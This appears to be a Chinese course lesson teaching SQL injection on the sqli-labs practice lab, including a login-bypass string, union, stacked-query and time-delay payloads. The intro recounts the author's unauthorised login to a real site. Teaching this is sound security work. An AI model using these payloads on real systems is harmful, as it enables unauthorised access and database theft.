Skip to content

06SQL注入:小心数据库被拖走(上)

你好,我是赢少良。我们现在来到了 SQL 注入的学习,这里我会主要介绍 SQL 注入漏洞的产生原理、利用、检测和防御。相信学完后,你就知道:

  • 为什么 'or'1'='1 是个万能密码;

  • 攻击者会如何进一步利用漏洞发动攻击窃取数据库;

  • 开发如何检测和防御 SQL 注入漏洞。

这一讲,我主要讲解 SQL 注入与数据库拖库问题。

十几年前,我在网上偶然间看到一篇文章,号称有可登录任意网站管理后台的万能密码,只要在用户名和密码中均输入 'or'1'='1(注意单引号的使用)即可登录后台。当时感觉特别神奇,也有点质疑,于是,我通过 Google 搜索了几个网站后台,没想到有一个真的登录进去了,还可以直接修改主页内容。我没有动,给管理员留言后就退出了。

后来,从网友那得知有个叫"明小子"的工具,专门用于检测和利用 SQL 注入漏洞,使用起来非常"傻瓜"。如果你很早接触过安全,相信对下面的界面图再熟悉不过了。这是我第一次听说"SQL 注入"这个词,知道了它属于 Web 漏洞中非常常见的一种漏洞。

图 1:"明小子"工具

目前 PHP + MySQL + Linux 一直是网站搭建的主流环境,我们也是在此环境下演示的。其他数据库系统不再介绍,你可自行搜索相关资料拓展学习。同时,为了简化环境搭建的工作,推荐使用 Docker 安装 sqli-labs 作为靶场来实践,具体安装方法可参考《03 | 靶场:搭建漏洞练习环境》中的内容。

SQL 注入产生的原因

以 sqli-labs 第 11 题为例,该题模拟后台登录页面,其 Username 与 Password 均存在 SQL 注入漏洞。该题的 PHP 源码可直接点击 Github 链接查看,也可以进 Docker 容器内查看。

为方便理解,我把 PHP 源码贴出来,并加上了注释:

php
<?php
	//including the Mysql connect parameters.
	include("../sql-connections/sql-connect.php");
	error_reporting(0);
	
	// take the variables
	if(isset($_POST['uname']) && isset($_POST['passwd']))
	{
		$uname=$_POST['uname'];    // 用户输入的用户名
		$passwd=$_POST['passwd'];  // 用户输入的密码
		//logging the connection parameters to a file for analysis.
		$fp=fopen('result.txt','a');
		fwrite($fp,'User Name:'.$uname);
		fwrite($fp,'Password:'.$passwd."\n");
		fclose($fp);
	
		// connectivity 
        // 未经过滤,直接将用户输入带入 SQL 语句进行查询,最终导致 SQL 注入
		@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
		$result=mysql_query($sql);
		$row = mysql_fetch_array($result);
	
		if($row)
		{
            // 查询到数据就登录成功
	  		//echo '<font color= "#0000ff">';			
	  		echo "<br>

";
			echo '<font color= "#FFFF00" font size = 4>';
			//echo " You Have successfully logged in\n\n " ;
			echo '<font size="3" color="#0000ff">';	
			echo "<br>

";
			echo 'Your Login name:'. $row['username'];
			echo "<br>

";
			echo 'Your Password:' .$row['password'];
			echo "<br>

";
			echo "</font>";
			echo "<br>

";
			echo "<br>

";
			echo '<img src="../images/flag.jpg"  />';	
			
	  		echo "</font>";
	  	}
		else
		{
            // 登录失败
			echo '<font color= "#0000ff" font size="3">';
			//echo "Try again looser";
			print_r(mysql_error());
			echo "</br>";
			echo "</br>";
			echo "</br>";
			echo '<img src="../images/slap.jpg" />';	
			echo "</font>";
		}
	}
?>

可以看到,用户在登录框输入的用户名及密码未经过滤就直接传入以下 SQL 语句:

sql
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

如果此时我在 Username 中输入英文单引号,那么 SQL 语句就变成:

sql
SELECT username, password FROM users WHERE username=''' and password='' LIMIT 0,1

这里 username 没有闭合,会导致语法错误:

You have an error in your SQL syntax;check the manual that corresponds to your MySQL server version for the right syntax to use near '''' and password='' LIMIT 0,1' at line 1。

图 2:username 没有闭合导致的语法错误

还记得开头提到的万能密码吗?我们输入试试:

图 3:输入万能钥匙

成功登录了!那为什么会这样呢?

我们先来看下输入万能密码后,SQL 语句的构成:

sql
SELECT username, password FROM users WHERE username=''or'1'='1' and password=''or'1'='1' LIMIT 0,1

可以发现 username 和 password 为空或者 '1'='1',而'1'='`'永远为真,SQL 语句必然成立。只要能查询到有效数据就可以登录,或者后面随便回句永远为真的语句就能够绕过验证登录,这就是万能密码存在的原因。

相信看到这里,你对 SQL 注入产生的原因应该有所理解了。简单来讲,就是开发时未对用户的输入数据(可能是 GET 或 POST 参数,也可能是 Cookie、HTTP 头等)进行有效过滤,直接带入 SQL 语句解析,使得原本应为参数数据的内容,却被用来拼接 SQL 语句做解析,也就是说,将数据当代码解析,最终导致 SQL 注入漏洞的产生

关于此类漏洞的防御我会在《09 | CSRF 漏洞:谁改了我的密码?》中介绍。

SQL 注入的分类

我们接着来了解 SQL 注入的分类。根据注入点(比如漏洞参数)的数据类型不同,SQL 注入可以分为两类:数字/整数型注入和字符型注入。

数字/整数型注入

注入的参数为整数时就是数字型注入,或者叫整数型注入。其 SQL 语句原型类似:

sql
SELECT * FROM table WHERE id=1

此处 id 参数为整数,两边无引号。测试时可以使用 1+1 和 3-1 这种计算结果相同的参数值去构造请示,对比响应结果是否一致,如果相同就可能在数字型注入。

字符型注入

注入参数为字符串时就是字符型注入,其 SQL 语句原型类似:

sql
SELECT * FROM table WHERE name='test'

此处的 name 为字符串参数,两边包含引号。

其他资料也有给出第 3 种分类:搜索型注入,但我认为它本质上属于字符型注入,只是相对特殊一点,存在于搜索语句中。此类注入常常以 % 为关键字来闭合 SQL 语句。

区分数字型与字符型注入的最简单办法就是看是否存在引号。在有源码的情况下很好判断,若无源码,可以尝试输入单引号看是否报错,同时也可以直接根据输入参数的类型做初步判断。

了解了 SQL 注入的分类后,就可以针对不同的注入类型采取不同的注入测试技术。

SQL 注入测试技术

我认为当前 SQL 注入利用工具中,sqlmap 无疑是王者。它涵盖了 SQL 注入检测、利用、防御绕过、扩展、getshell 等多种功能,功能全面且工程化,是学习研究 SQL 注入绕不开的工具。

如果你查看 sqlmap 的命令帮助信息,可以发现它使用的 SQL 注入技术共有以下 6 种,默认全开,对应的参数值为"BEUSTQ",如下所示:

java
  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques
    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")

BEUSTQ 的参数含义如下:

  • B,Boolean-based blind(布尔型盲注);

  • E,Error-based(报错型注入);

  • U,Union query-based(联合查询注入);

  • S,Stacked queries(多语句堆叠注入);

  • T,Time-based blind(基于时间延迟盲注);

  • Q,Inline queries(内联/嵌套查询注入)。

下面我就重点来讲解这 6 大 SQL 注入技术。

布尔型盲注

布尔(Boolean)就是真假两种结果,比如"1=1"为真,"1=2"为假。

前面列举的 SQL 注入是存在错误显示的,很容易判断 SQL 语句被注入后出错。但是,很多时间并没有错误回显,这时就只能"盲注"。我们可以通过对比真假请求的响应内容来判断是否存在 SQL 注入,这就是布尔型盲注。比如,对比注入参数与"and 1=2"的返回结果,如果两者不同则代表可能存在 SQL 注入。

除了布尔型盲注外,我们还可以采用时间延迟的方式来盲注,我在后面会讲到。

图 4:正常访问的页面

以 sqli-labs 第 8 题为例,上图是正常访问后的网页内容。通过 Get 参数 id 实现 SQL 注入,我们直接用前面讲的单引号注入试试,请求地址为 http://localhost/Less-8/?id=1',返回结果如下:

图 5:单引号注入的返回结果

没有任何错误提示,显示此方法行不通。

下面我们试试布尔型盲注的方法,分别构造以下两个请示,然后对比二者的差异:

其中的 + 号代表空格,执行上述请求后,你会发现返回的页面没有任何变化。难道真没有 SQL 注入吗?

我们来看一下源码:

php
<?php
	//including the Mysql connect parameters.
	include("../sql-connections/sql-connect.php");
	error_reporting(0);
	// take the variables
	if(isset($_GET['id']))
	{
	  $id=$_GET['id'];
	  //logging the connection parameters to a file for analysis.
	  $fp=fopen('result.txt','a');
	  fwrite($fp,'ID:'.$id."\n");
	  fclose($fp);
	
	  // connectivity 
	  $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	  $result=mysql_query($sql);
	   $row = mysql_fetch_array($result);
	
	  if($row)
	   {
          // 成功
	  	  echo '<font size="5" color="#FFFF00">';	
	  	  echo 'You are in...........';
	  	  echo "<br>

";
	      echo "</font>";
	    }
		else 
		{
          // 失败,关闭错误回显
  		  echo '<font size="5" color="#FFFF00">';
  		  //echo 'You are in...........';
  		  //print_r(mysql_error());
  		  //echo "You have an error in your SQL syntax";
  		  echo "</br></font>";	
  		  echo '<font color= "#0000ff" font size= 3>';	
		
		}
	}
		else { echo "Please input the ID as parameter with numeric value";}
?>

重点就在这句 SQL 语句上:

sql
SELECT * FROM users WHERE id='$id' LIMIT 0,1

注意这里有单引号,所以是字符型注入,我们将前面的测试语句代入:

sql
SELECT * FROM users WHERE id='1'and 1=1' LIMIT 0,1

此处单引号未得到闭合,导致了语法错误,这正是前面测试方法失败的原因。我们可以考虑用--注释掉。在 URL 请求里要注意在后面加 +,+ 在 URL 中相当于空格,加了 + 才能有效注释。最后我们得到构造语句:

sql
SELECT * FROM users WHERE id='1'and 1=1 -- ' LIMIT 0,1

为了方便验证 SQL 语句,推荐你直接进入 Docker 容器的 MySQL 进行测试:

shell
$ sudo docker ps
CONTAINER ID        IMAGE                COMMAND             CREATED             STATUS              PORTS                          NAMES
ea6ec615a39e        acgpiano/sqli-labs   "/run.sh"           29 hours ago        Up 29 hours         0.0.0.0:80->80/tcp, 3306/tcp   sqli-labs
$ sudo docker exec -it ea6ec615a39e /bin/bash
$ root@ea6ec615a39e:/# mysql -u root
mysql> use security;
mysql> SELECT * FROM users WHERE id='1' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> SELECT * FROM users WHERE id='1 and 1=1' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

mysql> SELECT * FROM users WHERE id='1 and 1=2' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

mysql> SELECT * FROM users WHERE id='1' and 1=2'' LIMIT 0,1;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' LIMIT 0,1' at line 1
mysql> SELECT * FROM users WHERE id='1' and 1=2-- ' LIMIT 0,1;
Empty set (0.00 sec)

mysql> SELECT * FROM users WHERE id='1' and 1=1-- ' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

现在我们按此思路重新构造两个请求。

图 6:请求 1 展示图

图 7:请求 2 展示图

我们可以看到,两次结果是不一样的,主要体现在有无"You are in..........."字符串,此时我们就可以确认 SQL 注入是存在的。

报错型注入

有错误回显的都可以尝试使用报错型注入方法,在 sqli-labs 第 11 题中介绍的单引号注入方式就是最简单有效的检测方法,它的本质是设法构造出错误的 SQL 语法使其执行错误。

前面列举的都是字符型注入,这次我们聊下整数型的。以 sqli-labs 第 2 题为例,我们重点看下导致注入的语句:

sql
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

$id 参数两边无引号,这是典型的整数型注入。虽然是整数型的,但你使用单引号注入依然会报错,因为语句未得到有效闭合。

既然我们的目标是让 SQL 语法错误,那方法就多了,各种造成语句无法闭合的字符:单引号、双引号、大中小括号等标点符号、特殊符号、宽字符等,还有 SQL 语句中的关键词,比如 IF、SELECT 都可以。

下图是注入中文句号(宽字符)导致的错误:

图 8:宽字符导致的错误

注入关键词 IF 导致的错误:

图 9:注入关键词 IF 导致的错误

拥有错误回显的 SQL 注入应该是最容易发现的,但很多时候并不会有错误回显,这时就需要使用其他盲注方式来验证。

联合查询注入

联合查询是指使用 union 语句来查询,比如:

sql
id =-1 union select 1,2,3

注意这里 id 的值不存在,目前是为了在页面上显示 union 查询结果

这样的好处就相当于另起一句 SQL 语句,非常适用于获取数据库中一些敏感信息,而不必过多考虑原有 SQL 语句的情况。因此,它在实际的漏洞利用中也经常被使用。联合查询注入也是验证漏洞可利用性的最佳方法之一,但经常需要结合错误回显。

我们仍以 sqli-labs 第 2 题为例,先构造以下请求:

sql
http://localhost/Less-2/?id=0 union select 1

得到错误提示"The used SELECT statements have a different number of columns",也就是字段数有误,如下图所示:

图 10:字段数有误

此时我们可以逐渐增加字段数来找到合适字段数:

sql
回显错误:http://localhost/Less-2/?id=0 union select 1,2
正确:http://localhost/Less-2/?id=0 union select 1,2,3
回显错误:http://localhost/Less-2/?id=0 union select 1,2,3,4

最后发现它共有 3 个字段,我们看看哪些字段显示出来了:

图 11:字段展示

可以发现 2 和 3 字段显示在页面中,这里我们就可以进一步构造利用以获取数据库名和版本信息:

sql
http://localhost/Less-2/?id=0 union select 1,database(),version()

最终,我们成功爆出数据库名为 security,版本为 5.5.44-0ubuntu0.14.04.1,如下图所示:

图 12:成功爆出数据库名

多语句堆叠注入

在 SQL 语句中,允许使用分号间隔多个查询语句来执行。mysqli_multi_query() 函数可以通过分号间隔插入多个查询语句实现堆叠注入。以 sqli-labs 第 38 题为例:

php
<?php
    $id=$_GET['id'];
	......
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	/* execute multi query */
	if (mysqli_multi_query($con1, $sql))
	{
       ......
    }
    ......
?>

此处正是使用 mysqli_multi_query 函数实现的多语句查询。我们可以尝试插入另一条语句来创建表:

sql
http://localhost/Less-38?id=1';create table sqli like users;

执行前的表:

java
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.00 sec)

执行后,成功创建 sqli 表,说明第二条语句执行成功:

java
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| sqli               |
| uagents            |
| users              |
+--------------------+
5 rows in set (0.00 sec)

基于时间延迟盲注

基于时间延迟盲注是通过时间延迟来判断是否存在 SQL 注入的常用方法,是用于无任何错误回显情况下的盲注。对于正确语句和错误语句都返回相同内容时也可以使用,所以它的适用范围相对广一些。

注意:在实际测试过程中,特别是线上业务测试,要避免使用过长时间的延时,否则会影响业务的正常运行。换句话说,能够延时注入就基本代表可以去网站进行拒绝服务攻击。

在 MySQL 常用的延时注入方法中,比较实用的有以下 3 种。

(1)SLEEP(duration):该函数用于休眠,起到延时操作的作用,其参数以秒为单位。

java
mysql> select sleep(5);
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)

(2)BENCHMARK(count,expr):重复计算 expr 表达式 count 次。

java
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (2.72 sec)

(3)REPEAT(str,count):返回字符串 str 重复 count 次后的字符串。

java
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',50),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',50),'b') |
+-------------------------------------------------------------+
|                                                           0 |
+-------------------------------------------------------------+
1 row in set (5.92 sec)

我们以 sqli-labs 第 2 题为例构造请求:

sql
http://localhost/Less-2/?id=1 and sleep(5)--+

在 Chrome 浏览器的 Network 标签内可以看到该请求刚好处时 5 秒钟,说明确实存在漏洞。

图 13:Chrome 标签内展示

内联/嵌套查询注入

使用内联查询来检索数据,本质上是嵌入在另一个查询中的查询,例如:

sql
SELECT (SELECT password from users) from product;

以 sqli-labs 第 2 题为例,结合前面介绍的联合查询来构造请求:

java
http://localhost/Less-2/?id=0 union select 1,(SELECT username from users where id=2),(SELECT password from users where id=2)

通过以上代码我们可以看到 id=2 的用户名和密码,如下图所示:

图 14:内联/嵌套查询注入

内联/嵌套查询注入方法可以在一句语句中嵌入另一句语句,在有限漏洞场景下能实现更多的功能,因此在实际的漏洞利用中常被用于实现敏感信息的窃取,甚至执行系统命令。

总结

这一讲我主要介绍了 SQL 注入的产生原理、分类,以及相关的测试技术。SQL 注入产生的原因是由于开发对用户的输入数据未做有效过滤,直接引用 SQL 语句执行,导致原本的数据被当作 SQL 语句执行。通常来说,SQL 注入分为数字型和字符型注入,我们主要通过注入参数类型来判断。

我还介绍了 6 大 SQL 注入测试技术,这是挖掘和利用 SQL 注入漏洞的基础,只有掌握这些测试技术,才能进一步提升对 SQL 注入的理解与实践能力。

SQL 注入通常被视为高危或严重的漏洞,一些漏洞奖励平台对此的赏金也会很高,尤其是在国外,经常在 5000 美金以上,甚至有的是几万美金。

在学习之后,你也可以尝试去挖一些国内的 SRC 平台或者国外 HackerOne 平台授权的测试网站。如果你有发现什么有趣的 SQL 注入漏洞,欢迎在留言区分享。